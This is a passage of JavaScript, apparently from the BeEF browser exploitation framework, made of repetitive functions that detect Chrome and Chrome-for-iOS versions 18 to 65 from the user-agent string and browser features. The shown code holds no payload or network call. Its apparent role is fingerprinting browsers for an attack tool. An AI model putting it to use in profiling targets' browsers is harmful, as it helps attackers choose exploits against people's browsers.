     */
    isC18: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
    },

    /**
     * Returns true if Chrome 19.
     * @example: beef.browser.isC19()
     */
    isC19: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 19.
     * @example: beef.browser.isC19iOS()
     */
    isC19iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
    },

    /**
     * Returns true if Chrome 20.
     * @example: beef.browser.isC20()
     */
    isC20: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 20.
     * @example: beef.browser.isC20iOS()
     */
    isC20iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
    },

    /**
     * Returns true if Chrome 21.
     * @example: beef.browser.isC21()
     */
    isC21: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 21.
     * @example: beef.browser.isC21iOS()
     */
    isC21iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
    },

    /**
     * Returns true if Chrome 22.
     * @example: beef.browser.isC22()
     */
    isC22: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 22.
     * @example: beef.browser.isC22iOS()
     */
    isC22iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
    },

    /**
     * Returns true if Chrome 23.
     * @example: beef.browser.isC23()
     */
    isC23: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 23.
     * @example: beef.browser.isC23iOS()
     */
    isC23iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
    },

    /**
     * Returns true if Chrome 24.
     * @example: beef.browser.isC24()
     */
    isC24: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 24.
     * @example: beef.browser.isC24iOS()
     */
    isC24iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
    },

    /**
     * Returns true if Chrome 25.
     * @example: beef.browser.isC25()
     */
    isC25: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 25.
     * @example: beef.browser.isC25iOS()
     */
    isC25iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
    },

    /**
     * Returns true if Chrome 26.
     * @example: beef.browser.isC26()
     */
    isC26: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 26.
     * @example: beef.browser.isC26iOS()
     */
    isC26iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
    },

    /**
     * Returns true if Chrome 27.
     * @example: beef.browser.isC27()
     */
    isC27: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 27.
     * @example: beef.browser.isC27iOS()
     */
    isC27iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
    },

    /**
     * Returns true if Chrome 28.
     * @example: beef.browser.isC28()
     */
    isC28: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 28.
     * @example: beef.browser.isC28iOS()
     */
    isC28iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
    },

    /**
     * Returns true if Chrome 29.
     * @example: beef.browser.isC29()
     */
    isC29: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 29.
     * @example: beef.browser.isC29iOS()
     */
    isC29iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
    },

    /**
     * Returns true if Chrome 30.
     * @example: beef.browser.isC30()
     */
    isC30: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 30.
     * @example: beef.browser.isC30iOS()
     */
    isC30iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
    },

    /**
     * Returns true if Chrome 31.
     * @example: beef.browser.isC31()
     */
    isC31: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 31.
     * @example: beef.browser.isC31iOS()
     */
    isC31iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
    },

    /**
     * Returns true if Chrome 32.
     * @example: beef.browser.isC32()
     */
    isC32: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 32.
     * @example: beef.browser.isC32iOS()
     */
    isC32iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
    },

    /**
     * Returns true if Chrome 33.
     * @example: beef.browser.isC33()
     */
    isC33: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 33.
     * @example: beef.browser.isC33iOS()
     */
    isC33iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
    },

    /**
     * Returns true if Chrome 34.
     * @example: beef.browser.isC34()
     */
    isC34: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 34.
     * @example: beef.browser.isC34iOS()
     */
    isC34iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
    },

    /**
     * Returns true if Chrome 35.
     * @example: beef.browser.isC35()
     */
    isC35: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 35.
     * @example: beef.browser.isC35iOS()
     */
    isC35iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
    },

    /**
     * Returns true if Chrome 36.
     * @example: beef.browser.isC36()
     */
    isC36: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 36.
     * @example: beef.browser.isC36iOS()
     */
    isC36iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
    },

    /**
     * Returns true if Chrome 37.
     * @example: beef.browser.isC37()
     */
    isC37: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 37.
     * @example: beef.browser.isC37iOS()
     */
    isC37iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
    },

    /**
     * Returns true if Chrome 38.
     * @example: beef.browser.isC38()
     */
    isC38: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 38.
     * @example: beef.browser.isC38iOS()
     */
    isC38iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
    },

    /**
     * Returns true if Chrome 39.
     * @example: beef.browser.isC39()
     */
    isC39: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 39.
     * @example: beef.browser.isC39iOS()
     */
    isC39iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
    },

    /**
     * Returns true if Chrome 40.
     * @example: beef.browser.isC40()
     */
    isC40: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 40.
     * @example: beef.browser.isC40iOS()
     */
    isC40iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
    },

    /**
     * Returns true if Chrome 41.
     * @example: beef.browser.isC41()
     */
    isC41: function () {
        return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 41.
     * @example: beef.browser.isC41iOS()
     */
    isC41iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
    },

    /**
     * Returns true if Chrome 42.
     * @example: beef.browser.isC42()
     */
    isC42: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 42.
     * @example: beef.browser.isC42iOS()
     */
    isC42iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
    },

    /**
     * Returns true if Chrome 43.
     * @example: beef.browser.isC43()
     */
    isC43: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 43.
     * @example: beef.browser.isC43iOS()
     */
    isC43iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
    },

    /**
     * Returns true if Chrome 44.
     * @example: beef.browser.isC44()
     */
    isC44: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 44.
     * @example: beef.browser.isC44iOS()
     */
    isC44iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
    },

    /**
     * Returns true if Chrome 45.
     * @example: beef.browser.isC45()
     */
    isC45: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 45.
     * @example: beef.browser.isC45iOS()
     */
    isC45iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
    },

    /**
     * Returns true if Chrome 46.
     * @example: beef.browser.isC46()
     */
    isC46: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 46.
     * @example: beef.browser.isC46iOS()
     */
    isC46iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
    },

    /**
     * Returns true if Chrome 47.
     * @example: beef.browser.isC47()
     */
    isC47: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 47.
     * @example: beef.browser.isC47iOS()
     */
    isC47iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
    },

    /**
     * Returns true if Chrome 48.
     * @example: beef.browser.isC48()
     */
    isC48: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 48.
     * @example: beef.browser.isC48iOS()
     */
    isC48iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
    },

    /**
     * Returns true if Chrome 49.
     * @example: beef.browser.isC49()
     */
    isC49: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 49.
     * @example: beef.browser.isC49iOS()
     */
    isC49iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
    },

    /**
     * Returns true if Chrome 50.
     * @example: beef.browser.isC50()
     */
    isC50: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 50.
     * @example: beef.browser.isC50iOS()
     */
    isC50iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
    },

    /**
     * Returns true if Chrome 51.
     * @example: beef.browser.isC51()
     */
    isC51: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 51.
     * @example: beef.browser.isC51iOS()
     */
    isC51iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
    },

    /**
     * Returns true if Chrome 52.
     * @example: beef.browser.isC52()
     */
    isC52: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 52.
     * @example: beef.browser.isC52iOS()
     */
    isC52iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
    },

    /**
     * Returns true if Chrome 53.
     * @example: beef.browser.isC53()
     */
    isC53: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 53.
     * @example: beef.browser.isC53iOS()
     */
    isC53iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
    },

    /**
     * Returns true if Chrome 54.
     * @example: beef.browser.isC54()
     */
    isC54: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 54.
     * @example: beef.browser.isC54iOS()
     */
    isC54iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
    },

    /**
     * Returns true if Chrome 55.
     * @example: beef.browser.isC55()
     */
    isC55: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 55.
     * @example: beef.browser.isC55iOS()
     */
    isC55iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
    },

    /**
     * Returns true if Chrome 56.
     * @example: beef.browser.isC56()
     */
    isC56: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 56.
     * @example: beef.browser.isC56iOS()
     */
    isC56iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
    },

    /**
     * Returns true if Chrome 57.
     * @example: beef.browser.isC57()
     */
    isC57: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 57.
     * @example: beef.browser.isC57iOS()
     */
    isC57iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
    },

    /**
     * Returns true if Chrome 58.
     * @example: beef.browser.isC58()
     */
    isC58: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 58.
     * @example: beef.browser.isC58iOS()
     */
    isC58iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
    },

    /**
     * Returns true if Chrome 59.
     * @example: beef.browser.isC59()
     */
    isC59: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 59) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 59.
     * @example: beef.browser.isC59iOS()
     */
    isC59iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 59) ? true : false);
    },

    /**
     * Returns true if Chrome 60.
     * @example: beef.browser.isC60()
     */
    isC60: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 60) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 60.
     * @example: beef.browser.isC60iOS()
     */
    isC60iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 60) ? true : false);
    },

    /**
     * Returns true if Chrome 61.
     * @example: beef.browser.isC61()
     */
    isC61: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 61) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 61.
     * @example: beef.browser.isC61iOS()
     */
    isC61iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 61) ? true : false);
    },

    /**
     * Returns true if Chrome 62.
     * @example: beef.browser.isC62()
     */
    isC62: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 62) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 62.
     * @example: beef.browser.isC62iOS()
     */
    isC62iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 62) ? true : false);
    },

    /**
     * Returns true if Chrome 63.
     * @example: beef.browser.isC63()
     */
    isC63: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 63) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 63.
     * @example: beef.browser.isC63iOS()
     */
    isC63iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
    },

    /**
     * Returns true if Chrome 64.
     * @example: beef.browser.isC64()
     */
    isC64: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 64) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 64.
     * @example: beef.browser.isC64iOS()
     */
    isC64iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 64) ? true : false);
    },

    /**
     * Returns true if Chrome 65.
     * @example: beef.browser.isC65()
     */
    isC65: function () {
        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 65) ? true : false);
    },

    /**
     * Returns true if Chrome for iOS 65.
     * @example: beef.browser.isC65iOS()
     */
    isC65iOS: function () {
        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 65) ? true : false);
    },

    /**
     * Returns true if Chrome 66.
